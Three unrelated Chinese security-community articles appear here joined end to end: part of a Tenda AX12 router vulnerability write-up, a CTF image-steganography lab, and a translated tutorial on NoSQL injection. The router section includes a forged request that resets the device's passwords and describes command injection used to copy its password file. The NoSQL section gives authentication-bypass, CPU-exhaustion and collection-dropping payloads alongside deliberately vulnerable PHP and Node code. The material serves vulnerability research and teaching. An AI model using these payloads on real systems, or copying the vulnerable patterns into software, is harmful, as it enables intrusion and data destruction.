}
发现没有处理'/'的条件后，会交给websHomePageHandler来处理，其会根据程序初始化中定义好的websDefaultPage，也就是main.html，然后重定向到main.html。
紧接着，又会经过R7WebsSecurityHandler()，然后经过遍历，最后会到到达这个位置LABEL_149，又将会重定向到login.html，login.html是不需要身份验证的，继续调试下去就会出现登录界面。
接下来我们将断点打在，190行的/login/Auth，这就对应了前端的那个接口，我们随便输入密码进行测试。
断点断下来后，分析过程，先获取username和password，然后和保存在全局变量中的用户名和密码进行比较。
这里先看密码不正确的处理流程，这里会到达LABEL_86，调用websWrite向WebRec结构体写了些东西，然后调用了webDone()函数，结束这次请求，websWrite((int)wp,
"%s", "1");，我猜测这应该是传给前面login.js的str，使得num=1，从而显示密码错误。
接着再来看正确密码的处理流程，经过一些if判断后，对loginUserInfo进行赋值，也就是访问者的ip地址，最后会跳转到LABEL_118。
LABEL_118，这个地方就是在生成cookie，然后发送到前端了，并且其cookie的组成是有一种固定的方式的。
为了搞明白cookie的生成过程，进入websRedirectOpCookie分析。
所以实际上cookie就是3部分组成password+3个a到z的随机数+3个字符(由访问者的ip地址决定是哪三个)。
接下来就是再次访问main.html，但和之前不同的是，这次loginUserInfo有值了，其会导致i!=4，执行这样的流程，其实就是在验证cookie是否有效。
验证cookie是否有效，然后跳转到对应的界面，访问其他接口也一样，都需要验证cookie的有效性。
登录和cookie验证的分析就差不多了，其实还有很多地方可以继续分析，比如说我这个浏览器登录了，换个浏览器会怎么样，或者换个ip访问会怎么样，根据其cookie的生成过程来说，同一个ip访问时，最多只有一个有效cookie，换一个浏览器登录，就会造成之前浏览器的cookie失效，从而需要重新登录。
### CSRF恢复出厂设置
大部分Tenda的设备的CSRF漏洞都是一些接口直接提供system命令，这里我也找到一个Tenda
Ax12下还未提交过的，也就是/goform/SysToolRestoreSet。
攻击也很简单，在经过身份验证后 Get访问这个接口，即可让整个路由器恢复出厂设置。
### CSRF删除修改密码，修改WiFi名称
这个漏洞发生在/goform/fast_setting_wifi_set接口下，这个接口实际上是设备恢复出厂设置后，重新设置WiFi名称，和密码的接口。
我们可以控制传入的web参数，来达到修改WiFi名称，修改密码的效果，并且在这个函数中，由于是重新设置的函数，所以并不会和先前的密码进行对比。
正常情况下，我们在恢复出厂设置后，其会让我们输入WiFi名称，无线密码，以及5-32位的管理员密码，抓包如下。
可以看到一些参数，如果选择无须密码，对应参数的值就是空。
* ssid代表WiFi名称
* WrlPassword代表连WiFi的密码
* loginPwd代表管理员密码，被md5加密了。
然后在来分析这个接口对应的处理函数sub_4335C0。
先是获取ssid，判断是否为空，然后如果WiFi密码不为空，默认以psk-mixed方式加密，然后将WiFi名，加密方式，密码给到v17，然后调用tapi_set_wificfg，猜测应该是在设置WiFi密码吧，然后以同样的方式设置5g。
然后就是设置管理员密码了，先获取前端传入的参数loginPwd，然后设置到/etc/config/admin文件中，下面是一些无关紧要的if判断，感觉没什么作用，而且管理员密码已经写入到了admin文件中。
后序就是timeZone的设置，一些webWrite，以及一些重新启动的过程。
所以如果在有一次有效cookie的前提下，我们完全可以构造参数，来达到修改WiFi名称密码，以及管理员密码的目的。
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 10
Origin: http://192.168.0.1
Connection: close
Cookie: password=xxxxxxxxxx
Referer: http://192.168.0.1/main.html
ssid=xxx&WrlPassword=xxx&power=high&loginPwd=(md5(xxx))
### 未成功的XSS
Tenda
Ax12设备的WiFi名称和接入的设备名称都是可以设置的，这可能会导致xss，我对WiFi名称和设备名称都进行了测试，遗憾的是未能触发攻击，但是我感到很疑惑，因为名字都显示出来了，卡了好久最后才找到原因。
这里以设备名称为例，首先我们需要绕过前端长度验证，抓包修修改即可。
然后查看显示也是正常，html也正常，就有点奇怪为什么没弹窗。
卡了一会，最后将整个html下载下来才发现，其对<>字符进行了转义。
<div class="dev-name text-fixed" style="padding-right: 30px;"
title="<script>alert("The_Itach1")</script>">
<span
class="dev-name-text"><script>alert("The_Itach1")</script></span>
</div>
接着我尝试#" onclick="alert(/xss/)，发现“也被转义。
<div class="dev-name text-fixed" style="padding-right: 30px;"
title="#" onclick="alert(/xss/)"><span
class="dev-name-text">#" onclick="alert(/xss/)</span></div>
<div class="">---</div>
遗憾的是这种xss没法利用，不然和已有的csrf配合，加上一点社会工程，或者修改自己设备名称，就可以到达比较不错的攻击效果。
### DOS，堆栈溢出
同样也是在/goform/fast_setting_wifi_set的ssid参数，其经过的sprintf函数，未对长度进行限制，这将导致堆栈溢出，而达到Dos拒绝服务的攻击效果。
### 老固件版本的一个命令注入
在参考老固件版本时，我看到了一个函数疑似存在命令注入，但是由于我的Tenda
Ax12设备固件已经升级，貌似无法回退，于是就打算qemu模拟下，但毕竟是模拟环境，和实体设备不太一样，而且和网上其他的Tenda设备的模拟方式也不同。
在网上下载好[老固件版本](\[https://www.tenda.com.cn/download/detail-3170.html\]\(https://www.tenda.com.cn/download/detail-3170.html
"https://www.tenda.com.cn/download/detail-3170.html"\))后，readelf确定好是mips大端序架构后，直接先尝试直接qemu启动。
可以正常启动，但是实际上其监听的ip实际上有点问题，虽然对这个命令注入漏洞测试验证没什么影响，但是这个ip实际上我们是可以控制的。
通过之前启动部分的分析，我们可以在binwalk解析出来的文件系统中，在/etc/config目录下新建一个network文件，添加以下内容。
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.112.131'
option netmask '255.255.255.0'
只要我们想修改listen的ip，就去修改ipaddr的值就行了，重新qemu启动效果如下。
可以看到监听ip就变成了我们设置的ip了，环境就差不多模拟好了，虽然和真实设备有差别，但是能正常接收http请求。
我是在fast_setting_internet_set接口的处理函数sub_431AD8中的一个子函数sub_42581发现了这个命令注入漏洞。
其先是从websRec结构体a1，调用websGetVar函数获取到了staticIp的值，然后用sprintf将其给到v5，然后调用doSystemCmd_route执行命令，我们可以通过控制传入staticIp的值来达到命令注入的效果。
开始编写exp，攻击效果如下，我的exp是将装有密码的admin配置文件给copy到了tmp目录下 并命名为hack。
### 新固件的一个命令注入
这个漏洞发生在/goform/setMacFilterCfg接口，其对应的处理函数为sub_424334，本来这是一个存在栈溢出的函数，但是我偶然发现，其可能会存在命令注入。
在这个函数的最下面，有这样的代码。
可以看到，其很危险的调用了doSystemCmd函数，只为了输出一段话到/tmp/macfilter文件，仔细观察后，v2是传入的macFilterType参数，根据printf的那句话，&v14[2]是不是就是指向上一次macFilterType的值呢，如果能控制这个参数，就有可能造成命令注入。
这个接口对应了后台管理界面->高级功能->MAC地址过滤，macFilterType参数就是对应了白名单和黑名单，也就是write和black。先进行一次访问，但是我将macFilterType的值修改为test。
紧接着，继续再正常随便访问一次，发现&v14[2]的值就是test。
这意味着，确实存在命令注入。
根据这个我尝试编写脚本进行攻击，主要是重启命令，恢复出厂设置命令，和/bin/sh命令，攻击效果如下。
重启命令和恢复出厂设置，都起了效果，但是/bin/sh却未成功，但是经过调试发现，确实进入dosystemcmd函数前的参数是/bin/sh，但不知道为什么没成功getshell。
无论怎样，这个地方确实存在着命令注入，虽然需要一次身份验证，但是危害性还是较强。
## 参考
《揭秘家用路由器0day漏洞挖掘技术》
[Yaseng](https://yaseng.org/)
[H4lo-github](https://github.com/H4lo/IOT_Articles_Collection/blob/master/Collection.md)
[物联网终端安全入门与实践之玩转物联网固件上](https://www.freebuf.com/articles/endpoint/335030.html)
[物联网终端安全入门与实践之玩转物联网固件下](https://www.freebuf.com/articles/endpoint/344858.html)
[Tenda AC15 AC1900 Vulnerabilities Discovered and Exploited | by Sanjana Sarda
| Independent Security Evaluators](https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68)
[路由器web服务架构](https://tttang.com/archive/1777/)
[Tenda Ax12系列分析](https://www.anquanke.com/post/id/255290)
* * * | 社区文章 |
# 实验简介
隐写术是关于信息隐藏，即不让计划的接收者之外的任何人知道信息的传递事件（而不只是信息的内容）的一门技巧与科学。英文写作Steganography，而本套教程内容将带大家了解一下CTF赛场上常见的图片隐写方式，以及解决方法。有必要强调的是，隐写术与密码编码是完全不同的概念。
# 实验内容
本次图片隐写实验包括四大部分
* 一、附加式的图片隐写
* 二、基于文件结构的图片隐写
* 三、基于LSB原理的图片隐写
* 四、基于DCT域的JPG图片隐写
* 五、数字水印的隐写
* 六、图片容差的隐写
# 第四部分 基于DCT域的JPG图片隐写
* 操作机：Windows XP
* 实验工具：
* Stegdetect
* Jphide
* Outguess
## 背景知识
JPEG图像格式使用离散余弦变换（Discrete Cosine
Transform，DCT）函数来压缩图像，而这个图像压缩方法的核心是：通过识别每个8×8像素块中相邻像素中的重复像素来减少显示图像所需的位数，并使用近似估算法降低其冗余度。因此，我们可以把DCT看作一个用于执行压缩的近似计算方法。因为丢失了部分数据，所以DCT是一种有损压缩（Loss
Compression）技术，但一般不会影响图像的视觉效果。
在这个隐写家族中，常见的隐写方法有JSteg、JPHide、Outguess、F5等等
**Stegdetect**
实现JPEG图像Jphide隐写算法工具有多个，比如由Neils
Provos开发通过统计分析技术评估JPEG文件的DCT频率系数的隐写工具Stegdetect，它可以检测到通过JSteg、JPHide、OutGuess、Invisible
Secrets、F5、appendX和Camouflage等这些隐写工具隐藏的信息，并且还具有基于字典暴力破解密码方法提取通过Jphide、outguess和jsteg-shell方式嵌入的隐藏信息。
**JPHS**
一款JPEG图像的信息隐藏软件JPHS，它是由Allan
Latham开发设计实现在Windows和Linux系统平台针对有损压缩JPEG文件进行信息加密隐藏和探测提取的工具。软件里面主要包含了两个程序JPHIDE和JPSEEK，
JPHIDE程序主要是实现将信息文件加密隐藏到JPEG图像功能，而JPSEEK程序主要实现从用JPHIDE程序加密隐藏得到的JPEG图像探测提取信息文件，Windows版本的JPHS里的JPHSWIN程序具有图形化操作界面且具备JPHIDE和JPSEEK的功能。
**Outguess**
Outgusee算法是Niels Provos针对Jsteg算法的缺陷提出的一种方法：
* 嵌入过程不修改ECT系数值为0，1的DCT系数，利用为随机数发生器产生间隔以决定下一个要嵌入的DCT系数的位置
* 纠正过程消除对效应的出现
对应的，也有针对该算法的隐写工具，名字也叫Outguess。
## JPHS
实验
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第四部分文件夹
- 在该文件夹找到JPhide.jpg
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 使用Stegdetect对图片的隐写方式进行检测
- 从结果中得知是使用JPHide的隐写，使用JPHS工具对隐写信息进行提取
- 最后打开保存的文件，flag是flag{Good_you_got_it}
**Stegdetect的指令介绍**
-q 仅显示可能包含隐藏内容的图像。
-n 启用检查JPEG文件头功能，以降低误报率。如果启用，所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1，则禁用OutGuess检测。
-s 修改检测算法的敏感度，该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比，算法敏感度的值越大，检测出的可疑文件包含敏感信息的可能性越大。
-d 打印带行号的调试信息。
-t 设置要检测哪些隐写工具（默认检测jopi），可设置的选项如下：
j 检测图像中的信息是否是用jsteg嵌入的。
o 检测图像中的信息是否是用outguess嵌入的。
p 检测图像中的信息是否是用jphide嵌入的。
i 检测图像中的信息是否是用invisible secrets嵌入的。
-V 显示软件版本号。
如果检测结果显示该文件可能包含隐藏信息，那么Stegdetect会在检测结果后面使用1～3颗星来标识
隐藏信息存在的可能性大小，3颗星表示隐藏信息存在的可能性最大。
**首先，在cmd中运行，Stegdetect，对目标图片进行检测**
发现结果显示是jphide隐写的可能性很大。
**接着，我们使用工具JPHS提取信息**
这是一款针对Jphide算法的隐写工具，正如对症下药，我们也得用对工具，才能更好的解决问题。
首先，在使用JPHS打开图片，点击Seek功能，紧接着会弹出一个密码的输入框，我们这里默认为空口令，直接点击OK，将提取出来的信息保存为flag.txt。
## Outguess
实验
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第四部分文件夹
- 在该文件夹找到Outguess.jpg
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 使用Stegdetect对图片的隐写方式进行检测
- 从结果中得知是使用JPHide的隐写，使用JPHS工具对隐写信息进行提取
- 最后打开保存的问就，flag是flag{Good_you_got_it}
**第一步，在cmd中运行，Stegdetect，对目标图片进行检测**
从结果可以得知，这里的隐写方式是，Outguess。
**第二步，使用Outguess工具提取隐写信息**
点击Enter key功能，输入密码，这里我隐写的时候，使用的密码是123456
点击Load image 加载目标图片
点击Extract file功能，将提取出来的信息保存成flag.txt文件。
打开保存后的文件，flag是flag{Outguess}
小结：
从上面的实验来看，JPG图片常用的隐写方式一般也是DCT域的隐写了，不过一般在CTF赛场上，这种题目是可以直接用Stegdetect所检测出来的。
## 思考
1. 尝试其他DCT域隐写，如F5
2. 自己尝试使用JPHS的Hide功能，实现一个隐写。
* * *
**下面进行实验Part 5 数字水印隐写**
# 第五部分 数字水印隐写
* 操作机：Windows XP
* 实验工具：
* Matlab
## 背景知识
**数字水印**
数字水印（digital watermark）技术，是指在数字化的数据内容中嵌入不明显的记号。
特征是，被嵌入的记号通常是不可见或不可察的，但是可以通过计算操作检测或者提取。
**盲水印与傅里叶变换**
这里介绍的盲水印是以知乎某答主的频域添加盲水印的文章为基础，在2016HCTF的也出了一个隐写题目，也是以频域为背景的。
盲水印，是指人感知不到的水印，包括看不到或听不见（没错，数字盲水印也能够用于音频）。其主要应用于音像作品、数字图书等，目的是，在不破坏原始作品的情况下，实现版权的防护与追踪。
对图像进行傅里叶变换，起始是一个二维离散傅里叶变换，图像的频率是指图像灰度变换的强烈程度，将二维图像由空间域变为频域后，图像上的每个点的值都变成了复数，也就是所谓的复频域，通过复数的实部和虚部，可以计算出幅值和相位，计算幅值即对复数取模值，将取模值后的矩阵显示出来，即为其频谱图。但是问题来了，复数取模后，数字有可能变的很大，远大于255，如果数据超过255，则在显示图像的时候会都当做255来处理，图像就成了全白色。因此，一般会对模值再取对数，在在0~255的范围内进行归一化，这样才能够准确的反映到图像上，发现数据之间的差别，区分高频和低频分量，这也是进行傅里叶变换的意义。
## 频域盲水印隐写
> 实验
>
>
> - 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第五部分文件夹
> - 在该文件夹找到ori.jpg，res,png
> - 双击打开图片，我们先确认一下图片内容并没有什么异常
> - 运行我提供的脚本，提取水印
>
> 有必要提以下的是，如果用mathlab生成的盲水印隐写是不需要原图的，这里我能力有限，只能做到需要原图才能提取水印。
>
>
> python decode.py --original <original image file> --image <image file>
> --result <result file>
>
# coding=utf-8
import cv2
import numpy as np
import random
import os
from argparse import ArgumentParser
ALPHA = 5
def build_parser():
parser = ArgumentParser()
parser.add_argument('--original', dest='ori', required=True)
parser.add_argument('--image', dest='img', required=True)
parser.add_argument('--result', dest='res', required=True)
parser.add_argument('--alpha', dest='alpha', default=ALPHA)
return parser
def main():
parser = build_parser()
options = parser.parse_args()
ori = options.ori
img = options.img
res = options.res
alpha = options.alpha
if not os.path.isfile(ori):
parser.error("original image %s does not exist." % ori)
if not os.path.isfile(img):
parser.error("image %s does not exist." % img)
decode(ori, img, res, alpha)
def decode(ori_path, img_path, res_path, alpha):
ori = cv2.imread(ori_path)
img = cv2.imread(img_path)
ori_f = np.fft.fft2(ori)
img_f = np.fft.fft2(img)
height, width = ori.shape[0], ori.shape[1]
watermark = (ori_f - img_f) / alpha
watermark = np.real(watermark)
res = np.zeros(watermark.shape)
random.seed(height + width)
x = range(height / 2)
y = range(width)
random.shuffle(x)
random.shuffle(y)
for i in range(height / 2):
for j in range(width):
res[x[i]][y[j]] = watermark[i][j]
cv2.imwrite(res_path, res, [int(cv2.IMWRITE_JPEG_QUALITY), 100])
if __name__ == '__main__':
main()
`
**提取盲水印**
original 是输入原图， image是之后跟的是加入了水印的图， result是保存水印图片。
**结果**
如果是像HCTF那样的隐写题，只需要有mathlab这个强大的工具，再运用提取盲水印的代码，是不需要原图的,代码如下。
imageA = imread('3.bmp','bmp');
fftA = fft2(imageA);
imshow(fftshift(fftA))
imshow(fft(rgb2gray(imread('shimakaze.bmp'))), [1,2]);
## 思考
1. 请查阅关于空域盲水印的资料
2. 试着对频域盲水印攻击，如截屏、倒转等操作，再进行提取水印，看看水印是否被破坏。
* * *
**下面进行实验Part 6 图片容差隐写**
# 第六部分 图片容差隐写
* 操作机：Windows XP
* 实验工具：
* Beyond Compare
## 背景知识
**容差**
容差，在选取颜色时所设置的选取范围，容差越大，选取的范围也越大，其数值是在0-255之间。
## 容差比较的隐写
**beyond compare**
beyond compare是一款很适合用来对图片进行比较的工具，就图片而言，它支持容差、范围、混合等模式。
> * 实验：
>
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第六部分文件夹
- 在该文件夹找到 pokemon_1.jpg，pokemon_2.jpg
- 打开工具Beyond Compare，选择图片比较，导入两张图片
- 在左下角慢慢修改容差，
- 在容差的修改过程中得到了flag
**打开工具，选择图片比较，导入pokemon_1.jpg，pokemon_2.jpg**
**选择容差模式，并调整容差大小**
小结：
如果在CTF赛场中，就隐写这一部分，出题人给于两张或者多张图片，一般都是需要对图片的内容进行比较的。
## 思考
1. Stegsolve 也有图片的比较的功能，是否能完成这个隐写？如果不可以为什么？ | 社区文章 |
# 冷门知识 — NoSQL注入知多少
##### 译文声明
本文是翻译文章，文章来源：pockr.org
原文地址：[https://pockr.org/guest/activity?activity_no=act_761e1e744d8aa16823&speech_no=sp_26a751c506f61078b0](https://pockr.org/guest/activity?activity_no=act_761e1e744d8aa16823&speech_no=sp_26a751c506f61078b0)
译文仅供参考，具体内容表达以及含义原文为准。
基本概念还是相当重要的，来看下owasp对NoSQL注入的描述。
NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查，NoSQL数据库提供了更好的性能和扩展性。
然而，即使这些数据库没有使用传统的SQL语法，它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行，而不是在声明式
SQL语言中执行，所以潜在影响要大于传统SQL注入。
NoSQL数据库的调用是使用应用程序的编程语言编写的，过滤掉常见的HTML特殊字符，如`<>＆;`不会阻止针对NoSQL的攻击。
## NoSQL注入分类
我找到了两种NoSQL注入分类的分类方式，第一种是按照语言的分类:PHP数组注入，js注入和mongo shell拼接注入等等。
第二种是按照攻击机制分类:重言式，联合查询，JavaScript注入等等，这种分类方式很像SQL注入的分类方式。
我们详细讨论下第二种分类方式:
### **1) 重言式**
又称为永真式，此类攻击是在条件语句中注入代码，使生成的表达式判定结果永远为真，从而绕过认证或访问机制。
### **2) 联合查询**
联合查询是一种众所周知的SQL注入技术，攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
### **3) JavaScript注入**
这是一种新的漏洞，由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码，这会导致非法的数据获取或篡改。
## PHP中的NoSQL注入
在我搜集NoSQL注入的时候发现了一个叫NoSQLInjectionAttackDemo的Github
repo，感谢前辈的辛苦研究，给我提供了很宝贵的资料，我基于这个项目分析PHP中的NoSQL注入。
### **1) 重言式注入**
<?php
$m = new MongoClient();
$db = $m->test;
$collection = $db->users;
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$cursor = $collection->find($data);
$count = $cursor->count();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if($count >0 ){
echo $doc_succeed->saveHTML();
foreach ($cursor as $user){
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo $doc_failed->saveHTML();
}
这段代码有点年代，我试图运行的时候发现，这个MongoDB driver已经不推荐使用了。
为了文章的实用性，我用最新的MongoDB driver重构了这段代码。
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}
很简单，就是一个登录的后端处理代码，正常情况下，输入正确的用户名和密码我们可以看到登录成功的页面，输入错误的看到登录失败的页面。
我们正常登录来详细看一下程序的数据流，假设用户名:xiaoming 密码:xiaoming123
我们从代码中可以看出，这里对用户输入没有做任何校验，那么我们可以通过构造一个永真的条件就可以完成NoSQL注入。MongoDB基础我在本文不再赘述，直接构造payload:username[$ne]=1&password[$ne]=1的payload.
注入成功，看数据流:
对于PHP本身的特性而言，由于其松散的数组特性，导致如果我们输入value=1那么，也就是输入了一个value的值为1的数据。如果输入value[$ne]=1也就意味着value=array($ne=>1),在MongoDB中，原来的一个单个目标的查询变成了条件查询。同样的，我们也可以使用username[$gt]=&password[$gt]=作为payload进行攻击。
### **2)** **NoSQL联合查询注入**
我们都知道在SQL时代拼接字符串容易造成SQL注入，NoSQL也有类似问题，但是现在无论是PHP的MongoDB
driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了，因此简单看一下就好。
string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"
payload:
username=tolkien', $or: [ {}, { 'a':'a&password=' } ]
### **3) JavaScript注入**
* $where操作符
在MongoDB中 $where操作符是可以执行JavaScript语句的,在MongoDB 2.4之前，通过$where操作符使用map-reduce、group命令可以访问到mongo shell中的全局函数和属性，如db，看到这里，如果你有在生产环境中使用MongoDB
2.4之前的MongoDB版本，赶快放下手里的事情去升级吧。
我们继续用代码说话，后面的代码我将直接使用新版MongoDB driver作为示例。
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$query_body =array(
'$where'=>"
function q() {
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";if(username == 'admin'&&password == '123456') return true; else{ return false;}}
");
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}
还是那个登录，这次我们指定了用户名和密码，假设我们不知道用户名和密码，使用payload：username=1&password=1;return
true;进行注入攻击。
注入成功，继续看数据流:
对于这个$where操作符注入还有一个好玩的payload 。
username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();
这个payload可以让MongoDB所在服务器CPU瞬间飙升，持续5秒。
注意docker进程的cpu占用变化
* 使用Command方法构成注入
MongoDB
driver一般都提供直接执行shell命令的方法，这些方式一般是不推荐使用的，但难免有人为了实现一些复杂的查询去使用，在php官网中就已经友情提醒了不要这样使用:
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );?>
但是我实在不知道有人会用print干什么，(为了记日志？)继续搜索，直到我看到了有人喜欢用Command去实现Mongo的distinct方法，于是照猫画虎构建了这样的例子。
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}
这个就危险太多了，就相当于把mongo shell开放给用户了，你基本可以构建任何mongo
shell可以执行的payload了，如果当前应用连接数据库的权限恰好很高，我们能干的事情更多。如构建
payload:username=2′});db.users.drop();db.user.find({‘username’:’2
整个users collection都不见了。继续看数据流：
但我们也同时发现，构建这样的payload是有一定难度的，需要我们对MongoDB，JavaScript和业务都有足够的了解，这也是NoSQL注入的局限性。类似的操作还有mapReduce，那个更复杂一些,但原理类似，我就不再举例子了。
至此，几种常见的NoSQL注入已经用PHP语言解释完了，那么对于和MongoDB天生般配的JavaScript有没有类似问题呢？
## Node.js中的NoSQL注入
PHP是第一次写，到了JavaScript这里就到了我熟悉的领域了。我们继续看代码。
var express = require('express');
var mongoose = require('mongoose');
var bodyParser = require('body-parser');
mongoose.connect('mongodb://localhost/test', { useMongoClient: true });
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();
app.set('views', __dirname);
app.set('view engine', 'jade');
app.get('/', function(req, res) {
res.render('index', {});
});
app.use(bodyParser.json());
app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index', {message: err.message});
}
if (!user) {
return res.render('index', {message: 'Sorry!'});
}
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
});
});
var server = app.listen(49090, function () {
console.log('listening on port %d', server.address().port);
});
和PHP类似，构建这样的payload：
POST http://127.0.0.1:49090/
HTTP/1.1Content-Type: application/json{
"username": {"$ne": null},"password": {"$ne": null}}
注入成功登陆系统。
从例子可以看出JavaScript的注入方式和PHP的类似，剩下的注入形式和其他语言的实现方式我就不一一列举了，大家有兴趣去写写漏洞，既能了解漏洞产生原理也能在开发过程中避免类似问题。
## NoSQL注入靶场
为了让大家对NoSQL注入都有所了解，某运营小姐姐提议我写个靶场，当然因为这个靶场不只是NoSQL注入，还组合了很多好玩的且程序员容易忽略的点，我也受益匪浅，有兴趣的可以先去靶场试试。
靶场链接：
<https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035>
整个代码用我比较熟悉的node.js+angular2实现，模拟一个需要用工号验证注册的内部系统，注册后可以查看和管理服务器，我把其中和NoSQL注入相关的拿出来说一下。
### **1）工号注册绕过**
来看用户注册部分的代码:
function create(userParam) {
var deferred = Q.defer();
console.log('userParam.jobnumber',userParam.jobnumber);
// validation
if(userParam.username =="admin"){
deferred.reject('用户名 admin 不允许注册');
}
db.jobNumbers.findOne(
{ jobNumber: userParam.jobnumber },
function (err, user) {
if (err) deferred.reject(err.name + ': ' + err.message);console.log('user',user);
if (!user) {// jobnumber already existsdeferred.reject('工号 "' + userParam.jobnumber + '"不存在');
} else {
const jobNumberArray=['puokr001','puokr002','puokr003','puokr004','puokr005','puokr006','puokr007','puokr008','puokr009','puokr010','puokr011',];
if(jobNumberArray.indexOf(userParam.jobnumber)>=0){
deferred.reject('工号 "' + userParam.jobnumber + '"已被注册');
}
db.users.findOne(
{ username: userParam.username },
function (err, user) {
if (err) deferred.reject(err.name + ': ' + err.message);
if (user) {// username already existsdeferred.reject('用户名 "' + userParam.username + '" 已存在');
} else {
createUser();
}
});
}
});function createUser() {
// set user object to userParam without the cleartext password
var user = _.omit(userParam, ['password','jobnumber']);
// add hashed password to user object
user.hash = bcrypt.hashSync(userParam.password, 10);
db.users.insert(
user,
function (err, doc) {
if (err) deferred.reject(err.name + ': ' + err.message);
deferred.resolve();
});
createOwnServer();
}
主要问题在这段代码中
db.jobNumbers.findOne(
{ jobNumber: userParam.jobnumber },function (err, user) {...})
由于`userParam.jobnumber`没有做任何校验，我们直接构建payload绕过工号校验直接注册:
{"username": "test","password": "111111","jobnumber": {"$ne": null}
}
注册后直接登录系统，即可看到服务器列表。
### **2）越权查看管理员服务器**
这是第二个注入点，在登录进去后的服务器列表页面中其实给了相应的提示:你负责的测试服务器都会在这里展示，生产服务器请联系管理员获取，也就是说我们是看不到管理员服务器的，但他们应该在数据库中。
在前端console中，我故意打出了这样的数据结构(console中直接打印出数据结构也是程序员经常疏忽的点):
从中可以看出服务器的owner是以数组的形式存的。然后我们为了过滤掉admin服务器，只显示自己的和public服务器，用了`$where`语句，并使用JavaScript语句进行过滤，比较常见的过滤方式是判断字符串的indexOf。那么我们尝试闭合indexOf，构造payload，这一步确实要对MongoDB和JavaScript都比较了解才能做出。
还是一脸懵逼？直接看代码吧：
function getServers(username){
var deferred = Q.defer();
db.servers.find({$where:"function(){return ((this.owners.indexOf('admin')<0 && this.owners.indexOf('"+username+"')>=0))|| this.owners.indexOf('public')>=0 }" }).toArray(
function (err, servers) {
if (err) deferred.reject(err.name + ': ' + err.message);console.log(servers);
deferred.resolve(servers);
});
return deferred.promise;
}
同样的，username没有进行任何校验，看着代码构造payload，该闭合的闭合，保证JavaScript不报错还要和admin有关，构造条件让查询条件中包含admin且为真。
payload:`')>0|| this.owners.indexOf('admin`。
靶场上线一段时间后，”summ3rf”同学给了我这样的一个思路:
payload:
"username":"summ3rf)))});//"
